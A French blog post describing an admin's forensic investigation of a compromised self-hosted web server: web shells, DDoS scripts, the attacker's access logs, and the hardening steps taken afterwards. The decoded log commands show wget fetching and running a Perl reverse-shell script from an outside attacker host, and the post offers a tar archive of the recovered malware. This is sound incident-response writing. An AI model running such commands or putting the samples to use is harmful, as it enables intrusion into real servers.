Activité suspecte sur mon serveur
L'autre jour, on me signale que mon serveur autohébergé ventile à fond et qu'une vingtaine de processus bizarres « fuckyou » tournent…
Avant de s'emballer et de tout stopper, il vaut mieux un peu prospecter tant que le problème se manifeste. J'ai donc tenté d'analyser la situation.
27530 www-data 20 0 65588 14992 2960 S 33,9 0,4 94:21.25 fuckyou
7813 www-data 20 0 81840 21996 2680 R 28,3 0,6 18:43.69 fuckyou
9100 www-data 20 0 65588 16836 3056 R 28,3 0,5 18:07.07 fuckyou
18127 www-data 20 0 82184 22252 2680 R 28,3 0,6 0:50.64 fuckyou
20030 www-data 20 0 65588 15496 3056 R 28,3 0,4 100:20.62 fuckyou
28898 www-data 20 0 81840 21996 2680 R 28,3 0,6 44:27.26 fuckyou
30245 www-data 20 0 81856 21496 2588 S 28,3 0,6 42:41.14 fuckyou
761 www-data 20 0 65588 15684 3136 S 22,6 0,4 33:19.00 fuckyou
3579 www-data 20 0 81972 22644 2944 R 22,6 0,6 26:36.35 fuckyou
6680 www-data 20 0 81856 21496 2588 R 22,6 0,6 19:23.37 fuckyou
16931 www-data 20 0 81972 22644 2944 R 17,0 0,6 1:08.35 fuckyou
Ne sachant pas d'où venait ce processus, et n'en trouvant évidemment pas s'appellant « fuckyou » dans les dossiers web, j'ai été voir dans /proc/<pid> :
lrwxrwxrwx 1 www-data www-data 0 nov. 25 11:07 cwd -> /tmp
lrwxrwxrwx 1 www-data www-data 0 nov. 25 11:04 exe -> /usr/bin/perl
OK, du perl. Voyons si on en trouve… (gros coup de rgrep sur /var/www)… oui ! D'ailleurs tout le dossier est "amusant" :
$ ll gitlist/cache/
-rw-r--r-- 1 www-data www-data 184021 juil. 9 2014 alo.php
drwxr-xr-x 5 www-data www-data 4096 oct. 30 2014 archives
-rw-r--r-- 1 www-data www-data 99552 déc. 13 2013 b374k-2.8.php
-rwxr-xr-x 1 www-data www-data 1446 juil. 1 2014 b374k_rs.py
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.php
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt.1
-rw-r--r-- 1 www-data www-data 165779 avril 15 2013 c99.txt.2
-rw-r--r-- 1 www-data www-data 1168 juil. 1 2014 hitit.pl
drwxr-xr-x 2 www-data www-data 4096 juil. 1 2014 hit.pl
-rw-r--r-- 1 www-data www-data 1848 juil. 1 2014 hity.py
-rw-r--r-- 1 www-data www-data 2585 juil. 9 2014 palse.php
drwxr-xr-x 2 www-data www-data 4096 juil. 1 2014 pyddos.py
-rw-r--r-- 1 www-data www-data 1848 juil. 1 2014 SersZQbI.txt
drwxr-xr-x 18 www-data www-data 4096 juil. 3 2014 views
-rw-r--r-- 1 www-data www-data 26 juil. 9 2014 x.php
Seulement, problème : rien dans les logs du vhost servant le gitlist. Je l'avais désactivé il y a un moment, car il ne servait plus vraiment, n'était jamais mis à jour etc.
En analysant les fichiers (des utilitaires de DDOS principalement, mais il y a aussi un petit script de prise en main à distance), j'ai remarqué qu'ils aimaient bien cacher le code dans du base64. C'est pratique, le base64, car c'est un codage supporté un peu partout, et qui évite justement que le code soit trop facilement lisible. Par contre un programme obfusqué ainsi est très facile à exécuter, il suffit de faire quelque chose comme eval(base64_decode()). Donc j'ai refait une recherche, sur base64_decode ce coup-ci.
La recherche m'a mené tout droit au webdav d'ARN, le dépôt de documents de l'asso :
-rw-r--r-- 1 www-data www-data 169015 nov. 27 2014 asd.exe
-rw-r--r-- 1 www-data www-data 188728 nov. 23 05:55 log.php
drwxr-xr-x 4 www-data www-data 4096 nov. 27 2014 Panel
-rw-r--r-- 1 www-data www-data 2297381 nov. 27 2014 Panel.tar.gz
Ce sont une sorte de shell en PHP, permettant de lancer des commandes, ou diverses actions préconfigurées (comme un reverse shell, qui se connecte de lui-même à l'attaquant ; un exemple (obfusqué) est visible dans log.php). Et là au moins il y a des traces dans les logs du serveur web ! Entre autres :
[25/Nov/2015:07:58:33 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Fwww%2Fdav%2Farn%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Flog.txt%3B+mv+log.txt+log.php&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:46 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:53 +0100] "GET /asd.php?act=ls&d=%2Fvar%2Ftmp&sort=0a HTTP/1.1" 200
[25/Nov/2015:08:41:09 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl%3B+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:38 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+ref.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:47 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
Correspondant à :
wget blackops.unixssh.com/My_Log/log.txt; mv log.txt log.php
wget blackops.unixssh.com/My_Log/rev.pl perl rev.pl; rm -rf rev.pl
ls /var/tmp
wget blackops.unixssh.com/My_Log/rev.pl; perl rev.pl; rm -rf rev.pl
rm -rv ref.pl
rm -rv rev.pl
On voit ici pas mal de typos (3 je pense) ; il devait être pressé, peut-être plein de sessions en parallèle à gérer ?
Je n'ai pas réussi à trouver dans les logs quand le fichier asd.php est apparu ; il était déjà là il y a un an (le plus vieux que j'ai en logs, ils sont effacés après). Par contre, le serveur renvoyait un 403 jusqu'à samedi dernier, jour où j'ai fait ma migration à Debian Jessie. J'ai dû activer PHP sur ce vhost alors qu'avant il devait être désactivé (je suis passé de FCGId à FPM pour la gestion PHP dans la foulée).
Ce que j'ai fait
J'aurais peut-être dû réinstaller tout, mais c'est un tantinet… fastidieux. En pratique : n'est concerné qu'un LXC web, très peu de chances qu'il y ait eu des accès root, problème plus ou moins localisé, scripts DDOS en vue…
J'ai changé le mot de passe du webdav, qui était vraiment bien mauvais (court, dans le dictionnaire, c'était un test à la base !).
Avec le passage à FPM, on peut configurer des "pool" différents de processus PHP. J'ai donc créé trois pool, pour éviter encore plus les débordements : un pour les sites sous Drupal, un pour les Wordpress et un pour le reste. Il y a donc trois comptes utilisateurs différents (uid UNIX), et j'ai ajusté les permissions en conséquence (un wordpress troué ne pourra donc rien voir d'autre que les wordpress).
Au lieu d'activer PHP globalement, je l'active maintenant uniquement dans les vhost qui en ont besoin. J'ai créé une petite macro apache2 pour faciliter le choix du pool :
<Macro GetPHP ${pool}> <FilesMatch "\.php$"> SetHandler "proxy:unix:///var/run/php5-fpm-${pool}.sock|fcgi://" </FilesMatch> </Macro>
ce qui donne à l'usage, dans un vhost :
Use GetPHP nom-pool
Bonus
Voici un tar de tout le matériel que j'ai récupéré, si vous voulez analyser le problème avant qu'il ne vous arrive :
Les fichiers anormaux du cache du gitlist ;
Ce que j'ai retrouvé dans le /tmp (un des scripts est prévu pour chercher une archive ZIP, apparemment pour utiliser une faille d'un plugin Wordpress, revslider).
Le ZIP a été téléchargé 3 fois, car le script utilise 3 méthodes au cas où (wget, curl et un autre). J'en mets un seul dans le tar.
Les parties intéressantes du log apache, réduites aux infos importantes.
Le fichier rev.pl mentionné dans les commandes plus haut, que j'ai téléchargé moi-même par la suite.
Par ici !